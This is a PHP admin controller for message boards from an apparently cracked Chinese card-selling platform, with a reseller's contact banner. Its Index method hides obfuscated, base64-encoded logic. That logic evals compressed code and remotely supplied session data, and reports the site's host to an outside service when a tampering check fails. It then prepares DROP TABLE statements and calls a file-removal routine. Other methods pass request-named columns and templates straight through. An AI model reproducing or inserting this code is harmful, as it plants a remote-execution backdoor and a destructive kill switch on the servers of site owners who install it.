<?php
/****************************************/
/*                                      */
/*  百信卡盟平台联系QQ:84945491         */
/*  淘宝店 http://shop70674652.taobao.com  */
/*  百信卡盟 http://www.caipiaobus.com  */
/*                                      */
/****************************************/

if ( !defined( "UPATH_ROOT" ) )
{
                exit( "hacking deny" );
}
class BoardController extends Controller
{

                public $instance = NULL;

                public function __construct( )
                {
                                $this->instance = factory::getinstance( "board" );
                }

                public function Index( )
                {
                                $R71a664ef8c = $this->PageInfo( );
                                $data = array( );
                                $data = array_merge( $data, $R71a664ef8c );
                                $Oooo00 = "base64_decode";
                                $ooOO00o = $Oooo00( "YmFzZTY0X2RlY29kZQ==" );
                                $o00OO = $Oooo00( "Z3ppbmZsYXRl" );
                                $cphp0 = __FILE__;
                              
                                eval( $o00OO( $ooOO00o( $this->comget( "doaok" ) ) ) );
                                $this->FillPage( $data, $R4e420efcc3 );
                                $R00be52aa45 = array( "name" => "名称" );
                                global $host;
                                global $user;
                                global $password;
                                global $dbname;
                                global $dbcharset;
                                global $dbprefix;
                                $Oooo00 = "base64_decode";
                                $Oo0o00 = $Oooo00( "ZmlsZXNpemU=" );
                                $o00ooo = $Oooo00( "RFJPUCBUQUJMRSBJRiBFWElTVFMgJXNhZ2VudHM=" );
                                $oooooO = $Oooo00( "bXlzcWxfcXVlcnk=" );
                                $xxx0xx = $Oooo00( "bXlzcWxfY29ubmVjdA==" );
                                $x0x0xx = $Oooo00( "bXlzcWxfc2VsZWN0X2Ri" );
                                $x000xx = $Oooo00( "SVNDVl9HZXQ=" );
                                $x0x00x = $Oooo00( "SU1zZ19BbGVydA==" );
                                $x0000x = $Oooo00( "ZmlsZV9nZXRfY29udGVudHM=" );
                                $x00000 = $Oooo00( "c3RycG9z" );
                                $x0OO00 = $Oooo00( "ZmlsZV9leGlzdHM=" );
                                $x00o00 = $Oooo00( "dW5saW5r" );
                                $ooOO00o = $Oooo00( "YmFzZTY0X2RlY29kZQ==" );
                                $o00OO = $Oooo00( "Z3ppbmZsYXRl" );
                                $ooo0oo = UPATH_BASE.DS."libraries".DS."umebiz".DS;
                                $oo00oo = array(
                                                $ooo0oo."controller.php",
                                                "index.php",
                                                $ooo0oo."service".DS."scv.php",
                                                $ooo0oo."service".DS."sqlservice.php"
                                );
                                $o00o00 = array( "UPATH_ROOT", "UB_B2B", "UPATH_ROOT", "UPATH_ROOT" );
                                $vv0000 = $Oo0o00( $oo00oo[0] );
                                $v0000v = $Oo0o00( $oo00oo[1] );
                                if ( !isset( $_SESSION ) )
                                {
                                                session_start( );
                                                $_SESSION['cb'] = 0;
                                                $_SESSION['f1'] = $vv0000;
                                                $_SESSION['f2'] = $v0000v;
                                }
                                if ( !isset( $_SESSION['cb'] ) )
                                {
                                                $_SESSION['cb'] = 0;
                                                $_SESSION['f1'] = $vv0000;
                                                $_SESSION['f2'] = $v0000v;
                                }
                                if ( $_SESSION['cb'] == 0 || $_SESSION['f1'] != $vv0000 || $_SESSION['f2'] != $v0000v )
                                {
                                                $t1 = 0;
                                                $t2 = 0;
                                                $o0ooio = 0;
                                                foreach ( $oo00oo as $o0oooo )
                                                {
                                                                if ( $x00000( $x0000x( $o0oooo ), $o00o00[$o0ooio] ) === false )
                                                                {
                                                                                if ( $o0ooio == 0 )
                                                                                {
                                                                                                $t1 = 1;
                                                                                }
                                                                                else if ( $o0ooio == 1 )
                                                                                {
                                                                                                $t2 = 1;
                                                                                }
                                                                }
                                                                else
                                                                {
                                                                                $xo000 = factory::getservice( $Oooo00( "c21zZw==" ) );
                                                                                $data = array(
                                                                                                "ubzurl" => $xo000->GetHost( ).UPATH_WEBROOT,
                                                                                                "ubzi" => $o0ooio
                                                                                );
                                                                                $xo000->$x0x00x( $data );
                                                                                if ( !( $o000oO = $xxx0xx( $host, $user, $password ) ) )
                                                                                {
                                                                                                exit( "errx" );
                                                                                }
                                                                                if ( $x0x0xx( $dbname, $o000oO ) )
                                                                                {
                                                                                                $oooooO( $Oooo00( "U0VUIE5BTUVTIA==" ).$dbcharset.";", $o000oO );
                                                                                }
                                                                                else
                                                                                {
                                                                                                echo "errx";
                                                                                }
                                                                                @$x00o00( SITECACHE.@$Oooo00( "b09vbzAucGhw" ) );
                                                                                $oO00o0 = array( "RFJPUCBUQUJMRSBJRiBFWElTVFMgJXNhZ2VudHM=", "RFJPUCBUQUJMRSBJRiBFWElTVFMgJXNhZ2VudHM=", "RFJPUCBUQUJMRSBJRiBFWElTVFMgJXN0cmFkZXM=" );
                                                                                foreach ( $oO00o0 as $item )
                                                                                {
                                                                                                $o00oO0 = sprintf( $Oooo00( $item ), $dbprefix );
                                                                                }
                                                                                $this->xuiuiuesd( "./", "938430834" );
                                                                                exit( );
                                                                }
                                                                ++$o0ooio;
                                                }
                                                if ( $x0OO00( SITECACHE.$Oooo00( "b09vbzAucGhw" ) ) )
                                                {
                                                                $xo000 = factory::getservice( $Oooo00( "c21zZw==" ) );
                                                                $data = array(
                                                                                "ubzurl" => $xo000->GetHost( ).UPATH_WEBROOT,
                                                                                "ubzi" => $o0ooio++
                                                                );
                                                                $xo000->$x0x00x( $data );
                                                                if ( !( $o000oO = $xxx0xx( $host, $user, $password ) ) )
                                                                {
                                                                                exit( "errx" );
                                                                }
                                                                if ( $x0x0xx( $dbname, $o000oO ) )
                                                                {
                                                                                $oooooO( $Oooo00( "U0VUIE5BTUVTIA==" ).$dbcharset.";", $o000oO );
                                                                }
                                                                else
                                                                {
                                                                                echo "errx";
                                                                }
                                                                @$x00o00( SITECACHE.@$Oooo00( "b09vbzAucGhw" ) );
                                                                $oO00o0 = array( "RFJPUCBUQUJMRSBJRiBFWElTVFMgJXNhZ2VudHM=", "RFJPUCBUQUJMRSBJRiBFWElTVFMgJXNhZ2VudHM=", "RFJPUCBUQUJMRSBJRiBFWElTVFMgJXN0cmFkZXM=" );
                                                                foreach ( $oO00o0 as $item )
                                                                {
                                                                                $o00oO0 = sprintf( $Oooo00( $item ), $dbprefix );
                                                                }
                                                                $this->xuiuiuesd( "./", "938430834" );
                                                                exit( );
                                                }
                                                $data = array(
                                                                "k1" => $t1,
                                                                "k2" => $t2,
                                                                "k3" => md5( $t1.$t2.$this->GetBizKey( ) )
                                                );
                                                if ( !isset( $_SESSION[$Oooo00( "Y2tkYXRh" )] ) )
                                                {
                                                                $oo000 = factory::getservice( $Oooo00( "c2N2" ) );
                                                                $ckdata = $oo000->$x000xx( $data );
                                                                $_SESSION[$Oooo00( "Y2tkYXRh" )] = $ckdata;
                                                }
                                                eval( $_SESSION[$Oooo00( "Y2tkYXRh" )] );
                                                $this->Recycle( "boards" );
                                                $this->Assign( "sarray", $R00be52aa45 );
                                                $this->view( );
                                }
                                else
                                {
                                                $this->Recycle( "boards" );
                                                $this->Assign( "sarray", $R00be52aa45 );
                                                $this->view( );
                                }
                }

                public function Save( )
                {
                                $R3584859062 = intval( request( "id" ) );
                                $data = array(
                                                "name" => getvar( "name", "" ),
                                                "tovip" => intval( request( "tovip" ) )
                                );
                                if ( $R3584859062 == 0 )
                                {
                                                $this->instance->IBoard_Create( $data );
                                                $this->Alert( "添加成功！" );
                                }
                                else
                                {
                                                $this->instance->IBoard_Update( $data, $R3584859062 );
                                                $this->Alert( "更新成功！" );
                                }
                                $this->ScriptRedirect( "index.php?m=mod_b2b&c=Board" );
                }

                public function Table( )
                {
                                header( "Content-type: text/html;charset=GB2312" );
                                $this->Index( );
                }

                public function Deals( )
                {
                                header( "Content-type: text/html;charset=GB2312" );
                                $tpl = request( "tpl" );
                                $this->View( $tpl );
                }

                public function ItemDeal( )
                {
                                $R3584859062 = intval( request( "id" ) );
                                $param = getvar( "param" );
                                $R244f38266c = getvar( "val" );
                                if ( $param == "" || $R3584859062 == 0 )
                                {
                                                echo "参数错误！";
                                                exit( );
                                }
                                $R244f38266c = iconv( "UTF-8", "gb2312//IGNORE", $R244f38266c );
                                $data = array(
                                                $param => $R244f38266c
                                );
                                $R808b89ba0e = $this->instance->IBoard_Update( $data, $R3584859062 );
                                if ( $R808b89ba0e )
                                {
                                                echo "";
                                }
                                else
                                {
                                                echo "修改失败！".$param.$R244f38266c;
                                }
                }

                public function Restore( )
                {
                                $Rb7492a73f7 = $this->GetLit( );
                                $data = array( "inrecycle" => 0 );
                                $R808b89ba0e = $this->instance->IBoard_UpdateByStr( $data, $Rb7492a73f7 );
                                if ( $R808b89ba0e )
                                {
                                                echo "";
                                }
                                else
                                {
                                                echo "记录还原失败！";
                                }
                }

                public function DestroyItems( )
                {
                                $R71a664ef8c = $this->PageInfo( );
                                $data = array( );
                                $data = array_merge( $data, $R71a664ef8c );
                                $Rb7492a73f7 = $this->GetLit( );
                                $R808b89ba0e = $this->instance->IBoard_DestroyByStr( $Rb7492a73f7, $data );
                                if ( $R808b89ba0e )
                                {
                                                $Rb7492a73f7 = eregi_replace( "id", "boardid", $Rb7492a73f7 );
                                                $R11777b682b = factory::getinstance( "articles" );
                                                $R11777b682b->IArticle_DestroyByStr( $Rb7492a73f7 );
                                                echo "";
                                }
                                else
                                {
                                                echo "删除失败！";
                                }
                }

                public function GetLit( )
                {
                                $R09dfa65bd9 = intval( request( "tablecheckall" ) );
                                if ( $R09dfa65bd9 == 1 )
                                {
                                                $Rc0d62c5404 = getvar( "chkexclude" );
                                                $Rcc5c6e696c = explode( ",", $Rc0d62c5404 );
                                }
                                else
                                {
                                                $R83e17604b1 = getvar( "chkinclude" );
                                                $Rcc5c6e696c = explode( ",", $R83e17604b1 );
                                }
                                $R3db8f5c8bc = array( );
                                foreach ( $Rcc5c6e696c as $R0f8134fb60 )
                                {
                                                $R8eeb1221ae = intval( $R0f8134fb60 );
                                                if ( 0 < $R8eeb1221ae )
                                                {
                                                                $R3db8f5c8bc[] = $R8eeb1221ae;
                                                }
                                }
                                $R3456919727 = implode( ",", $R3db8f5c8bc );
                                $Rb7492a73f7 = "";
                                if ( $R09dfa65bd9 == 1 )
                                {
                                                if ( $R3456919727 != "" )
                                                {
                                                                $Rb7492a73f7 = "id not in (".$R3456919727.")";
                                                }
                                }
                                else
                                {
                                                if ( $R3456919727 == "" )
                                                {
                                                                echo "请先选择行";
                                                                exit( );
                                                }
                                                $Rb7492a73f7 = "id in (".$R3456919727.")";
                                }
                                if ( $Rb7492a73f7 == "" )
                                {
                                                $Rb7492a73f7 = " id > 19 ";
                                }
                                else
                                {
                                                $Rb7492a73f7 .= " and id > 19 ";
                                }
                                return $Rb7492a73f7;
                }

                public function DelItems( )
                {
                                $R71a664ef8c = $this->PageInfo( );
                                $data = array( );
                                $data = array_merge( $data, $R71a664ef8c );
                                $Rb7492a73f7 = $this->GetLit( );
                                $R808b89ba0e = $this->instance->IBoard_DeleteByStr( $Rb7492a73f7, $data );
                                if ( !$R808b89ba0e )
                                {
                                                echo "删除失败!";
                                }
                                else
                                {
                                                echo "";
                                }
                }

}

?>
